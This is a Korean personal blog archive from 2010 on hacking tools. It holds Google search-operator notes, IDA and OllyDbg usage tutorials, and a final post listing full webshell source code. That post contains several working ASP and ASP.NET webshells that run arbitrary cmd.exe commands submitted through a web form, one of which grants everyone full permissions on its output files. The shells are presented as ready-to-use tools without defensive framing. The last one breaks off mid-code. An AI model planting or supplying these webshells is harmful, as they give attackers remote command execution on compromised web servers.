'gravity-free'에 해당되는 글 49건

  1. 2010.12.10 http://www.shodanhq.com/
  2. 2010.12.10 http://bit.ly/
  3. 2010.12.10 http://www.archive.org/
  4. 2010.09.13 google hacking
  5. 2010.08.29 webShell site
  6. 2010.07.07 아이다(IDA) 사용법
  7. 2010.07.07 올리디버거(ollydbg) 사용법
  8. 2010.07.05 각 웹쉘 소스
  9. 2010.04.08 상태-응답 코드 나열

http://www.shodanhq.com/

gravity-free/shodan 2010. 12. 10. 12:20
:

http://bit.ly/

gravity-free/bit.ly 2010. 12. 10. 12:19
:

http://www.archive.org/

gravity-free/archive 2010. 12. 10. 12:18
:

google hacking

gravity-free/google hacking 2010. 9. 13. 13:41

 

  • 원하지 않는 단어 제외: 예를 들어 대한민국 대통령중에 이명박이 들어가지 않는 문서를 찾고싶다면 '대한민국 대통령 -이명박'이라고 입력한다. 원하지 않는 단어앞에 '-(마이너스)'기호.
  • 반드시 포함시킬 단어: 위와 반대로 반드시 포함시키려는 단어앞에 '+'기호를 넣는다.
  • ~
    참고 : Google Hacking 중에서...

    Intitle
    - 페이지의 제목에서 문자열을 찾는다
    - 다른 연산자와 잘 어울린다
    - 웹 문서, 뉴스그룹, 이미지, 뉴스 검색에 가장 적합하다

    Allintitle
    - 연산자 뒤에 나온 모든 단어를 페이지 제목에서 찾는다
    - 다른 연산자나 검색 단어와 잘 어울리지 못한다
    - 웹 문서, 뉴스그룹, 이미지, 뉴스 검색에 가장 적합하다

    Inurl
    - 문자열을 페이지의 URL에서 찾는다
    - 다른 연산자와 잘 어울린다
    - 웹 문서와 이미지 검색에 가장 적합하다

    Allinurl
    - 연산자 뒤에 나온 모든 단어를 페이지의 URL에서 찾는다
    - 다른 연산자나 검색 단어와 잘 어울리지 못한다
    - 웹 문서, 뉴스그룹, 이미지, 뉴스 검색에 가장 적합하다

    Filetype
    - 특정한 확장자를 가진 파일을 찾는다
    - ext연산자와 동일한 역할을 한다
    - 추가적인 검색 단어를 필요로한다
    - 다른 연산자와 잘 어울린다
    - 웹 문서와 뉴스그룹 검색에 가장 적합하다

    Allintext
    - 입력한 모든 단어를 페이지의 본문에서 찾는다
    - 그다지 좋지 않다 - 아예 사용하지 말아야 한다
    - allintext에 관한 것은 모두 잊어버리자

    Site
    - 검색 범위를 특정 사이트나 도메인으로 제한한다
    - 다른 연산자와 잘 어울린다
    - 단독으로 쓰일 수 있다
    - 웹 문서, 뉴스그룹, 이미지 검색에 가장 적합하다

    Link
    - 사이트나 URL로의 링크를 찾는다
    - 다른 연산자나 검색 단어와 잘 어울린다
    - 웹 문서 검색에 가장 적합하다

    Inanchor
    - 링크의 설정 문자열을 검색한다
    - 다른 연산자나 검색 단어와 잘 어울린다
    - 웹 문서, 이미지, 뉴스 검색에 가장 적합하다

    Daterange
    - 특정 기간에 구글에 저장된 페이지를 찾는다
    - 다른 검색 단어가 필요하다
    - 다른 연산자나 검색 단어와 잘 어울린다
    - 웹 문서 검색에 가장 적합하다

    Numrange
    - 특정 범위에 있는 숫자를 찾는다
    - 다른 연산자나 검색 단어와 잘 어울린다
    - 웹 문서 검색에 가장 적합하다

    Cache
    - 구글의 캐시에 저장된 페이지를 보여준다
    - 다른 연산자나 검색 단어와 잘 어울리지 못한다
    - 웹 문서 검색에 가장 적합하다

    Info
    - 페이지에 대한 요약 정보를 출력한다
    - 다른 연산자나 검색 단어와 잘 어울리지 못한다
    - 웹 문서 검색에 가장 적합하다

    Related
    - 입력한 사이트나 URL과 연관된 사이트를 보여준다
    - 다른 연산자나 검색 단어와 잘 어울리지 못한다
    - 웹 문서 검색에 가장 적합하다

    Phonebook, Rphonebook, Bphonebook
    - 집 전화번호나 회사 전화번호 목록을 보여준다
    - 다른 연산자나 검색 단어와 잘 어울리지 못한다
    - 웹 문서 검색에 가장 적합하다

    Author
    - 뉴스그룹 게시물의 작성자를 찾는다
    - 다른 연산자나 검색 단어와 잘 어울린다
    - 뉴스그룹 검색에 가장 적합하다

    Group
    - 뉴스그룹 이름을 검색한다
    - 다른 연산자와 잘 어울린다
    - 뉴스그룹 검색에 가장 적합하다

    Insubject
    - 뉴스그룹 게시물의 제목을 검색한다
    - 다른 연산자나 검색 단어와 잘 어울린다
    - 뉴스그룹 검색에 가장 적합하다

    Msgid
    - 메시지 ID를 통해 뉴스그룹 게시물을 찾는다
    - 다른 연산자나 검색 단어와 잘 어울리지 못한다
    - 뉴스그룹 검색에 가장 적합하다

    Stocks
    - 기업의 티커/ticker 코드에 대한 야후 Finance 주식 정보를 보여준다
    - 다른 연산자나 검색 단어와 잘 어울리지 못한다
    - 웹 문서 검색에 가장 적합하다

    Define
    - 단어나 구/phrase의 다양한 정의를 보여준다
    - 다른 연산자나 검색 단어와 잘 어울리지 못한다
    - 웹 문서 검색에 가장 적합하다

    출처 : http://atomkwang.tistory.com/18

    검색엔진 중의 최고는 구글 (http://www.google.co.kr)의 검색법.

    1. site:[site address] 지정된 도메인에서만 찾기

    ex) site:http://www.tit.ac.kr 컴퓨터공학과

    동명정보대학교의 컴퓨터공학과와 관련된 모든 정보를 찾아 볼수가 있습니다.

    2. -site:[site address] 지정된 도메인을 제외하고 찾기
    (여기서 ''-''기호는 except라는 정도의 의미)

    ex)-site:http://www.tit.ac.kr 컴퓨터공학과

    이렇게 치시면 동명정보대학교의 컴퓨터공학과를 제외한 국내에 있는 컴퓨터공학과라는 이름으로 존재하는 컴퓨터공학과의 정보를 모두 보여줍니다.

    3. filetype:[doc, pdf, ps, xls, ppt] 지정한 파일의 내용에서만 찾기 이것은 아주 유용한 팁입니다.
    여러분도 아마 이 팁을 가장 많이 이용하시게 될겁니다.
    그 이유는 대부분 쓸만한 자료는 파일형태로 많이 존재 하기 때문입니다.

    ex)filetype:doc worldcup

    이렇게 치시면 전세계의 웹사이트상에 월드컵과 관련되어doc파일로 저장되어 있는 파일들을 손쉽게 찾을수 있습니다.

    4. allinanchor:[검색어] 링크글 안에서 찾기

    ex)allinanchor:korea

    링크글 안에서 찾기 입니다.  이렇게 치시면 임의의 사이트 내의 korea라는 단어로 링크된 정보를 모두 찾아 줍니다.

    5. allinurl:[검색어] 주소에서 찾기

    ex)allinurl:korea

    이렇게 치시면 www.korea.com 과 같이 주소안에 korea라는 단어가 들어간 주 소를 모두 찾아 줍니다. ^^

    6. allintext:[검색어] 본문에서 찾기

    ex)allintext:동명정보대학교

    이렇게 치시면 본문에서 동명정보대학교란 단어가 포함된 정보를 모두 찾아 줍니다.

    7. allintitle:[검색어] 제목에서 찾기

    ex)allintitle:동명정보대학교

    이렇게 치시면 본문에서 동명정보대학교란 단어가 포함된 정보를 모두 찾아 줍니다.

    여기까지가 기본입니다.
    자 다음은 좀더 확장된 예제를 하나만 들어 보겠습니다.

    먼저 예를 들어 GC를 찾고 싶다.
    GC site:javastudy.co.kr 하면 javastudy.co.kr 의 문서에서만 GC검색어를 찾습니다.
    GC site:javastudy.co.kr filetype:ppt 하면 javastudy.co.kr에서 PPT문서에서만 GC
    에 관련된 정보를 보여줍니다.

    이런식입니다. 조금만 내몸에 CPU의 Hz를 높이면 위에 적어드린것들을 잘 혼용하면 손쉽게 검색을 하실 수 있습니다.
    :

    webShell site

    gravity-free/webshell 2010. 8. 29. 04:39

    'gravity-free > webshell' 카테고리의 다른 글

    webshell.io  (0) 2014.12.19
    webshell pt2  (0) 2011.07.19
    각 웹쉘 소스  (0) 2010.07.05
    :

    아이다(IDA) 사용법

    gravity-free/IDA 2010. 7. 7. 15:41

    출처 : http://dakuo.tistory.com/


    디스어셈블러 : 바이너리 파일을 역으로 어셈블리어로 재구성해주는 툴

    IDA가 거의 독보적인 자리를 차지하고 있고, 기능도 다양하다.
     


    (토렌토 사용법 : http://dakuo.tistory.com/entry/토렌토torrent-사용하기)



    아이다(IDA)의 장점 :

    1. 거의 모든 CPU를 지원

    2. FLIRT(Fast Library Identification and Recognition Technology)는 기계어의 코드로부터 컴파일러 특유의 Library 함수를 산출해낼 수 있는 강력한 기능

    3. 각종 플러그인 지원

    4. Obfuscation(난독화) 코드도 해석이 잘됨

    IDA 설정 :

    IDA의 설정 파일은 ..\IDA\cfg 경로에 있으며 세부 설정을 할 수 있다. 단축키(idagui)를 재설정할 수 있고 disable된 설정을 enable시킬 수도 있다.



    디스어셈블 상태와 디버깅 상태에서 특정 어셈블리어 코드를 고치고 싶을 때는 고칠 부분을 클릭하고 Alt+F2를 누르거나 메뉴에서 edit->Other->Manual Intruction을 누르고 바꾸고 싶은 어셈블리어 구문을 넣고 OK를 누른다.
    (참고 : 프로그램 파일이 수정되는 것은 아니고 분석 화면에서만 바뀐다)




    IDA 메뉴 :

    IDA의 메뉴 구성에 대해서 알아보기 위해 C언어로 코드를 작성하고, 그 프로그램을 분석해보겠다. Stack에서 일어나는 흐름을 쉽게 알아보기 위해서 func()함수에 세 개의 파라미터를 전달하고, 그 값들을 합친 결과를 리턴해주는 간단한 코드를 작성했다.

    #include <stdio.h>

     func(int a, int b, int c)
    {
               return a+b+c;
    }

    int main(void)
    {
               int sum;
               sum = func(1, 2, 3);
               return sum;
    }


    (저는 Visual 6.0으로 빌드를 하였습니다. 다른 버전으로 빌드하신분들은 컴파일러 차이에 의해 IDA로 오픈하셨을때 디어셈블된 코드가 다를수 있습니다)

    컴파일한 후 파일을 drag해서 작업 창에 올려놓거나 File->Open을 이용해서 불러온다.

    Stack_basic_CL.exe를 열어본 화면이다.


    (참고 : IDA에서 파일을 Open하면 분석 과정을 통해 id0, id1, nam, til 파일이 생성되고, 종료하면 id0, id1, nam, til 파일이 지워지고 idb 파일이 새로 생성된다.
    idb 파일은 실행 파일이 Database 파일이며, 분석 과정에서 주석을 달면 idb 파일에 저장이 된다.  idb 파일만 열면 실행했던 파일이 없어도 다시 디어셈블 과정없이 디어셈블된 코드들과 주석들을 볼 수가 있다)

    IDA 5.0부터 Graph overview 기능이 있어서 처음 디어셈블하면 바로 각 함수들의 관계와 분기점들을 Graph 화면으로 보여준다. Spacebar로 Text view 화면과 Layout Graph 화면으로 전환할 수 있다.


    IDA에서 스크롤을 맨 위로 올려보면 Open한 파일의 MD5정보, Open한 파일의 경로, 해당 파일의 Format 정보, ImageBase 정보, Sectjion의 size, OS 정보등이 나와 있다.


    다음은 프로그램 시작점(Entry Point)으로써 프로그램이 시작되면 이 부분부터 시작이 된다.
    각 변수들의 위치를 보려면 빨간박스 안에 변수를 더블클릭하여 stackframe를 확인한다.   


    stackframe     
                                           
                                                      
    IDA View나 Hex View 창에서 프로그램 실행의 어디에 있든 Ctrl+p를 누르면 가고 싶은 함수로 이동할 수 있다.(Functions창과 같음)


    G를 누르면 'Jump to adress'라고 해서 창이 뜨는데 이동하고 싶은 주소를 넣고 OK를 누르면 해당 주소로 이동한다. 디버깅을 하거나 분석을 할 때, 특정 부분을 바로 찾아갈 때 유용하다.


    Ctrl+l을 누르면 이름으로 검색을 할 수 있다.


    Alt+t를 누르면 Text 검색을 할 수 있다. 검색하려는 어셈블리어 구문을 넣으면 된다.


    Shift+F12를 누르면 Strings window(사용되는 API 정보들과 문자열을 보여줌)를 볼 수 있다. String을 더블클릭하면 해당 지점으로 이동한다.


    MessageBoxA를 더블클릭하여 따라가보자.


    (참고 : xref operand는 원래의 함수 본체로 이동하는 것이고 xref reference는 해당 함수를 호출한 곳으로 이동하는 것이다)
    ESC를 누르면 전단계로 돌아간다.(뒤로가기)

    디어셈블 화면에서 F12를 누르면 IDA의 그래프 기능이 나온다.




    IDA 화면 :


    1. 메뉴바

    2. 툴바 :
    취향에 맞게 추가 · 삭제를 할수 있다. 빈 공간에 마우스 우클릭으로 아이콘을 추가할 수 있다.

    3. Subview :
    View->OpenSubviews->보고싶은 Subviews

    4. 분석할 때 가독성을 위해 자주 사용하는 Subview를 오른쪽에 배치할 수 있다.

    5. 함수의 분기점이나 코드에서 Jump가 있으면 그곳으로 방향을 표시해주고 코드가 어디로 분기되는지, Jump되는지 보여준다.

    6. Virtual Address

    7. Stack Pointer

    8. 해당 어셈블리어 명령의 OPCode

    9. Code Location :
    코드의 흐름 중에 분기점이 발생했을 때 그 해당되는 location으로 분기할 수 있다.

    10. Code Reference :
    더블클릭을 하면 현재 location 부분에서 분기점이 발생된 부분으로 이동하고 ESC를 누르면 다시 전화면(뒤로가기)으로 이동한다.

    11. Open한 프로그램의 디어셈블코드

    12. 마우스나 키보드로 선택된 위치의 디어셈블된 코드의 위치 정보 :

    왼쪽은 Virtual Address, 오른쪽은 Virtual Address와 현재 location의 시작된 곳(location으로 분기하기전 코드의 시작점)에서의 offset
    ex. VA = 00001423, offset = 93    _CrtDbgReport = 00401423-93 = 00401390 (hex)

    13. 현재 하드디스크의 남은 용량을 표시

    14. IDA의 마지막 명령이나 정보들을 Log형태로 보여준다.

    15. IDA의 현재 상태



    IDA 디버깅모드 :

    IDA로 Debugging을 하려면 먼저 BreakPoint(F2)를 설정해야 한다.


    그 후 메뉴 Debugger->Start process (F9)를 하면 Debugging 상태로 바뀌게 된다.


    1. Breakpoints :
    현재 설정된 Breakpoints 목록을 보여준다.

    2. IDA View-EIP :
    프로그램의 실제 Code 부분이다.

    3. Registers :
    Registers 상태를 보여준다.

    4. Flags :
    Flags 상태를 보여준다.

    5. Threads :
    Threads 목록을 나타낸다.

    6. IDA View-ESP :
    Stack의 흐름을 보여준다. ESP와 EBP가 가리키는 곳을 자세히 살펴봐야 한다.

    7. 메뉴바


    Debugging할 때 쓰는 단축키 :

     Breakpoint  F2
     Debugging 시작  F9
     Debugging 종료  Ctrl + F2
     Step Into  F7
     Step Over  F8
     계산기  Shitf + /
    :

    올리디버거(ollydbg) 사용법

    gravity-free/debugger 2010. 7. 7. 15:39

    출처 : http://dakuo.tistory.com


    리버싱을 하기 위해서 이용되는 툴중에 디버거라는 것이 있다.
    이 디버거들 중에 가장 대표적인 것은 올리디버거(OllyDebugger)이다.



    odbg110.zip를 다운로드 받아서 odbg110 폴더에 압축을 풀고 Plugin폴더와 UDD폴더를 생성한다.
    Win32_Programmers_Reference.rar로 압축을 풀어 wn32.hlp 파일을 obdg110 폴더에 넣는다. BOOKMARK.dll과 cmdline.dll은 Plugin폴더에 넣는다.

    Ollydbg.exe를 실행하고  Option -> Appearance ->Directories를 열고 그림과 같이 경로 설정을 하고 다시 실행을 해준다.


    이외에 설정해 주면 좋은 옵션은
    작업관리자의 프로세스 목록에서 바로 디버깅 연결이 가능한 Jit(Just-in-time Debugging)
    탐색기에서 파일 우클릭으로 바로 연결 가능한 Add explorer이 있다.


    Help메뉴에서 Select API help file 선택을 해서 win32,hlp을 열어주면 자동으로 winapi도움말과 연결이 된다.


    그리고 디버깅 옵션의 Event탭에서 프로그램을 열었을 때 시작할 위치를 Entry point of main module로 시작 지점을 잡아주도록 수정하는것이 좋다.


    자 이제 마지막으로 점프위치를 화살표로 보기 좋게 표현하도록 고쳐보자.
    ini파일을 메모장으로 열어서 [Settings]섹션을 다음과 같이 수정한다.

    이렇게 바꿔주면 왼쪽처럼 화살표가 없던것이 오른쪽과 같이 화살표가 생긴다.

    다른 옵션들은 자기에 맞게 변경하면 되고 그 옵션값들은 ollydbg.ini에 저장이 된다.
    따라서 파일을 직접 수정해서 고치는것도 가능하다.

    (참고로 TUTS4YOU 사이트에는 여러 형태의 리버싱 연습 문제들과 강좌도 많으므로
    리버싱 공부를 위해 참고하면 좋다. : http://www.tuts4you.com/)



    // ps. 추가로 한글판도 올립니다.



    올리디버거로 notepad.exe를 열었을때의 화면이다.


    1. 어셈블리코드
    2. 레지스터 상태
    3. Dump
    4. 스택

    3. Dump창에는 Heap이나 FileMap, Text 영역의 값들이 올 수 있다. 주소 부분을 16진수로 보여준다.

    MENU :

    [File] : 파일을 디버거로 불러오는 Open, 실행중인 프로세스를 디버거로 붙이는 Attach(해당 프로세스는 정지상태가 된다), 디버거를 종료하는 Exit가 있다.

    [View] : 보여주는 기능. Memory를 선택하면 현재 Memory의 모습을 보여주고, Call Stack(Alt + K)을 선택하면 어디서 어떤 함수가 호출되었는지를 보여준다. 각 기능을 실행해보고 파악하자.

    [Debug] :
    Run : 디버거로 불러온 프로그램을 실행시킨다. Breakpoint를 만나거나 Exception이 발생해서 프로그램이 정지할때까지 실행한다. (단축키 : F9)
    Restart : 프로그램을 처음부터 실행시키기 위해 재실행한다. Run을 해야 프로그램이 실행된다. (단축키 : Ctrl + F2)
    Step into : 코드를 한줄씩 실행한다. Call(함수호출)나 Rep (반복문) 명령어를 만나면 함수내부로 들어가고 조건을 만족할때까지 계속 수행한다. (단축키 : F7)
    Step over : 코드를 한줄씩 실행한다. Call(함수호출)나 Rep(반복문) 명령어를 만났을때 함수내부로 추적하지 않고 실행하며 반복문도 한번에 처리한후 다음줄로 넘어간다. (단축키 : F8)
    Execute till return : 추적할 필요가 없는 함수 내부로 들어갔을때 그 함수의 ret명령 지점까지 한번에 실행하고 함수를 나올수 있다. (단축키 : Ctrl + F9)

    [Plugin] : 올리디버거에서 사용하는 여러 플러그인 기능들이 있다. 다운받아 사용한다.

    [Options] : 올리디버거의 설정 사항을 조정할수 있다.
    Appearance에서는 Udd폴더나 Plugins폴더를 설정할 수 있고, 폰트도 변경할 수 있다.
    Debugging options에서는 디버깅과 관련된 여러가지 설정을 변경할 수 있다.

    [Windows] : 올리디버거 내부 윈도우들의 정렬 방식을 바꿀수 있으며, 원하는 윈도우를 활성화시킬 수도 있다.

    1. 어셈블리코드 부분에서 우클릭시에 나오는 메뉴다.


    Comment : 어셈블리코드 옆에 주석을 달아 놓을 수 있는 기능이다. 주석을 달아 놓음으로써 프로그램 분석을 보다 편리하게 할 수 있으므로 주석을 자주 달자.

    Breakpoint : 디버거로 대상 프로그램을 실행시켰을 때 Breakpoint를 만나면 실행을 멈추고
    사용자에게 제어를 넘겨준다.

    Breakpoint에는 크게 두 가지가 있다.

     Software Breakpoint
    CPU는 인터럽트를 이용하여 운영체제에게 특정 이벤트를 알려주며 CC(int3)라는 인터럽트가 발생되면 프로그램의 동작이 멈추게 되며 디버거에게 넘겨지게 되고 제어가 된다.
     Hardware Breakpoint
    디버그 레지스터인 DR0, DR1, DR3, DR6, DR7을 이용하며 DR0~DR3은 Breakpoint를
    걸어줄 대상의 주소 또는 범위를 설정할수 있으며 DR6은 인터럽트가 발생했을때의 결과를 알려주며 DR7은 Breakpoint의 속성을 설정할수 있다. 이것을 이용하면 특정 메모리 주소에 Write, Read, Excute가 발생했을 때 어떤 주소에서 실행이 되었는지 알수가 있다.

    Search for :


    All intermodular calls 기능은 Import된 함수들의 목록을 볼 수 있다.
    All referenced text string 기능은 사용되는 문자열 값을 보여준다.

    어셈블리코드가 있는 부분에서 더블클릭할 시에 직접 어셈블리 코드를 수정할 수 있다.
    나머지 메뉴는 직접 실행해보며 파악하자.


    2. 레지스터창에서 우클릭시 나오는 메뉴이다.


    레지스터 상태창의 레지스터를 더블클릭하면 레지스터에 설정된 값을 변경할 수 있다.


    3. Dump창에서 우클릭시 나오는 메뉴이다.



    4. 스택창에서 우클릭시 나오는 메뉴이다.


    Lock stack : 스택이 표시되는 윈도우가 ESP의 값에 따라서 변하는 것을 막아 표시되는 부분이 변하지 않도록 하여 스택의 특정 부분을 감시한다.
    Go to EBP : 현재 EBP 레지스터가 가리키고 있는 주소로 스택 윈도우를 바꿔준다.
    Follow in Dump : 스택에 들어있는 주소값에 어떤 데이터가 존재하는지 확인한다.

    올리디버거의 화면을 세부적으로 설명하겠다.


    1. 메모리 주소 : 프로그램을 디버깅하는 동안에 표시되는 주소지로 Ctrl + G 단축키로 특정
    위치로 이동할 수 있다.

    2. Opcode : 오퍼레이션 코드로 어떤 작동을 하는 코드들이 1byte로 정리되어 있다.
    (1opcode == 1byte/2bytes == 1word/2words == 1dword)

    3. Assembler Code : 디스어셈블된 코드들이다.

    4. Olly가 분석한 내용 : api 함수들이나 문자열, 함수 파라미터들을 올리디버거가 보기 좋게 정리해서 보여준다.

    5. 사용자가 입력한 주석 표시 : 세미클론(;)을 누르면 임시로 구분해 놓기 위한 내용들을 적을 수 있다.

    6. 변수값 출력창 : 디버깅 중에 주요 변수들에 어떤 값들이 들어갔는지 표시해주는 창으로 자주 확인해야 한다.

    7. Hex Dump창 : 16진수로 덤프를 하여 표시해주는 영역으로 바이너리 파일을 직접 수정할 때에 쓰인다.(hex값은 두 자리가 1byte이며, 1byte는 8bit가 된다)

    8. 레지스터와 플래그 값 : CPU가 필요할 경우 사용하는 레지스터와 플래그의 값이 어떻게 변화하는지 보여준다. 레지스트리는 특별한 메모리 공간으로써 data를 저장하고 이용 가능하다.



    다음은 OllyDBG 110의 단축키이다.

    Pop-up menus display only items that apply. Frequently used menu functions:  

    Function

    Window

    Menu command

    Shortcut

    Edit memory as binary, ASCII or UNICODE string

    Disassembler, Stack Dump

    Binary|Edit

    Ctrl+E

    Undo changes

    Disassembler, Dump Registers

    Undo selection Undo

    Alt+BkSp

    Run application

    Main

    Debug|Run

    F9

    Run to selection

    Disassembler

    Breakpoint|Run to selection

    F4

    Execute till return

    Main

    Debug|Execute till return

    Ctrl+F9

    Execute till user code

    Main

    Debug|Execute till user code

    Alt+F9

    Set/reset INT3 breakpoint

    Disassembler Names, Source

    Breakpoint|Toggle Toggle breakpoint

    F2

    Set/edit conditional INT3 breakpoint

    Disassembler Names, Source

    Breakpoint|Conditional Conditional breakpoint

    Shift+F2

    Set/edit conditional logging breakpoint (logs into the Log window)

    Disassembler Names, Source

    Breakpoint|Conditional log Conditional log breakpoint

    Shift+F4

    Temporarily disable/restore INT3 breakpoint

    Breakpoints

    Disable Enable

    Space

    Set memory breakpoint (only one is allowed)

    Disassembler, Dump

    Breakpoint|Memory, on access Breakpoint|Memory, on write

     

    Remove memory breakpoint

    Disassembler, Dump

    Breakpoint|Remove memory breakpoint

     

    Set hardware breakpoint (ME/NT/2000 only)

    Disassembler, Dump

    Breakpoint|Hardware (select type and size!)

     

    Remove hardware breakpoint

    Main

    Debug|Hardware breakpoints

     

    Set single-short break on access to memory block (NT/2000 only)

    Memory

    Set break-on-access

    F2 

    Set break on module, thread, debug string 

    Options

    Events

     

    Set new origin

    Disassembler

    New origin here

     

    Display list of all symbolic names

    Disassembler, Dump Modules

    Search for|Name (label) View names

    Ctrl+N

    Context-sensitive help (requires external help file!)

    Disassembler, Names

    Help on symbolic name

    Ctrl+F1

    Find all references in code to selected address range

    Disassembler Dump

    Find references to|Command Find references

    Ctrl+R

    Find all references in code to the constant

    Disassembler

    Find references to|Constant Search for|All constants

     

    Search whole allocated memory

    Memory 

    Search Search next

    Ctrl+L

    Go to address or value of expression

    Disassembler Dump

    Go to|Expression Go to expression

    Ctrl+G

    Go to previous address/run trace item

    Disassembler

    Go to|Previous

    Minus

    Go to next address/run trace item

    Disassembler

    Go to|Next

    Plus

    Go to previous procedure

    Disassembler

    Go to|Previous procedure

    Ctrl+Minus

    Go to next procedure

    Disassembler

    Go to|Next procedure

    Ctrl+Plus

    View executable file

    Disassembler, Dump, Modules

    View|Executable file

     

    Copy changes to executable file

    Disassembler

    Copy to executable file

     

    Analyse executable code

    Disassembler

    Analysis|Analyse code

    Ctrl+A

    Scan object files and libraries

    Disassembler

    Scan object files

    Ctrl+O

    View resources

    Modules, Memory

    View all resources View resource strings

     

    Suspend/resume thread

    Threads

    Suspend Resume

     

    Display relative addresses

    Disassembler, Dump, Stack

    Doubleclick address

     

    Copy

    Most of windows

    Copy to clipboard

    Ctrl+C



    Frequently used global shortcuts:
     

    Ctrl+F2

    Restart program

    Alt+F2

    Close program

    F3

    Open new program

    F5

    Maximize/restore active window

    Alt+F5

    Make OllyDbg topmost

    F7

    Step into (entering functions)

    Ctrl+F7

    Animate into (entering functions)

    F8

    Step over (executing function calls at once)

    Ctrl+F8

    Animate over (executing function calls at once)

    F9

    Run

    Shift+F9

    Pass exception to standard handler and run

    Ctrl+F9

    Execute till return

    Alt+F9

    Execute till user code

    Ctrl+F11

    Trace into

    F12

    Pause

    Ctrl+F12

    Trace over

    Alt+B

    Open Breakpoints window

    Alt+C

    Open CPU window

    Alt+E

    Open Modules window

    Alt+L

    Open Log window

    Alt+M

    Open Memory window

    Alt+O

    Open Options dialog

    Ctrl+T

    Set condition to pause Run trace

    Alt+X

    Close OllyDbg



    Frequently used Disasembler shortcuts:
     

    F2

    Toggle breakpoint

    Shift+F2

    Set conditional breakpoint

    F4

    Run to selection

    Alt+F7

    Go to previous reference

    Alt+F8

    Go to next reference

    Ctrl+A

    Analyse code

    Ctrl+B

    Start binary search

    Ctrl+C

    Copy selection to clipboard

    Ctrl+E

    Edit selection in binary format

    Ctrl+F

    Search for a command

    Ctrl+G

    Follow expression

    Ctrl+J

    Show list of jumps to selected line

    Ctrl+K

    View call tree

    Ctrl+L

    Repeat last search

    Ctrl+N

    Open list of labels (names)

    Ctrl+O

    Scan object files

    Ctrl+R

    Find references to selected command

    Ctrl+S

    Search for a sequence of commands

    Asterisk (*)

    Origin

    Enter

    Follow jump or call

    Plus (+)

    Go to next location/next run trace item

    Minus (-)

    Go to previous location/previous run trace item

    Space (  )

    Assemble

    Colon (:)

    Add label

    Semicolon (;)

    Add comment

    :

    각 웹쉘 소스

    gravity-free/webshell 2010. 7. 5. 18:31
    aspshell para IIS6

    <!-- IIS6 VBscript command shell -->
    <!-- aramosf@unsec.net http://www.514.es -->

    <title>514 aspshell</title>
    <FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
    <input type=text name="cmd" size=45 value="<%= cmd %>">
    <input type=submit value="Run">
    </FORM>
    <PRE>

    <%
    If (request("cmd") <> "") Then
    Response.Write Server.HTMLEncode(server.createobject("wscript.shell").exec(Server.MapPath("cmd.exe")& " /c " &

    request("cmd")).stdout.readall)
    End If
    %>

    </PRE>

    cmdaspx.aspx

    <%@ Page Language="C#" Debug="true" Trace="false" %>
    <%@ Import Namespace="System.Diagnostics" %>
    <%@ Import Namespace="System.IO" %>
    <script Language="c#" runat="server">
    void Page_Load(object sender, EventArgs e)
    {
    }
    string ExcuteCmd(string arg)
    {
    ProcessStartInfo psi = new ProcessStartInfo();
    psi.FileName = "cmd.exe";
    psi.Arguments = "/c "+arg;
    psi.RedirectStandardOutput = true;
    psi.UseShellExecute = false;
    Process p = Process.Start(psi);
    StreamReader stmrdr = p.StandardOutput;
    string s = stmrdr.ReadToEnd();
    stmrdr.Close();
    return s;
    }
    void cmdExe_Click(object sender, System.EventArgs e)
    {
    Response.Write("<pre>");
    Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
    Response.Write("</pre>");
    }
    </script>
    <HTML>
    <HEAD>
    <title>awen asp.net webshell</title>
    </HEAD>
    <body >
    <form id="cmd" method="post" runat="server">
    <asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
    <asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
    <asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
    </form>
    </body>
    </HTML>

    cmd-asp-5.1.asp

    <%

    ' ASP Cmd Shell On IIS 5.1
    ' brett.moore_at_security-assessment.com
    ' http://seclists.org/bugtraq/2006/Dec/0226.html


    Dim oS,oSNet,oFSys, oF,szCMD, szTF
    On Error Resume Next
    Set oS = Server.CreateObject("WSCRIPT.SHELL")
    Set oSNet = Server.CreateObject("WSCRIPT.NETWORK")
    Set oFSys = Server.CreateObject("Scripting.FileSystemObject")
    szCMD = Request.Form("C")
    If (szCMD <> "") Then
    szTF = "c:\windows\pchealth\ERRORREP\QHEADLES\" & oFSys.GetTempName()
    ' Here we do the command
    Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF &
    """",0,True)
    response.write szTF
    ' Change perms
    Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G
    everyone:F",0,True)
    Set oF = oFSys.OpenTextFile(szTF,1,False,0)
    End If
    %>
    <FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
    <input type=text name="C" size=70 value="<%= szCMD %>">
    <input type=submit value="Run"></FORM><PRE>
    Machine: <%=oSNet.ComputerName%><BR>
    Username: <%=oSNet.UserName%><br>
    <%
    If (IsObject(oF)) Then
    On Error Resume Next
    Response.Write Server.HTMLEncode(oF.ReadAll)
    oF.Close
    Call oS.Run("win.com cmd.exe /c del "& szTF,0,True)
    End If
    %>

    cmd-asp.asp

    <%@ Language=VBScript %>
    <%
    ' --------------------o0o--------------------
    ' File: CmdAsp.asp
    ' Author: Maceo <maceo @ dogmile.com>
    ' Release: 2000-12-01
    ' OS: Windows 2000, 4.0 NT
    ' -------------------------------------------

    Dim oScript
    Dim oScriptNet
    Dim oFileSys, oFile
    Dim szCMD, szTempFile

    On Error Resume Next

    ' -- create the COM objects that we will be using -- '
    Set oScript = Server.CreateObject("WSCRIPT.SHELL")
    Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
    Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

    ' -- check for a command that we have posted -- '
    szCMD = Request.Form(".CMD")
    If (szCMD <> "") Then

    ' -- Use a poor man's pipe ... a temp file -- '
    szTempFile = "C:\" & oFileSys.GetTempName( )
    Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
    Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

    End If

    %>
    <HTML>
    <BODY>
    <FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
    <input type=text name=".CMD" size=45 value="<%= szCMD %>">
    <input type=submit value="Run">
    </FORM>
    <PRE>
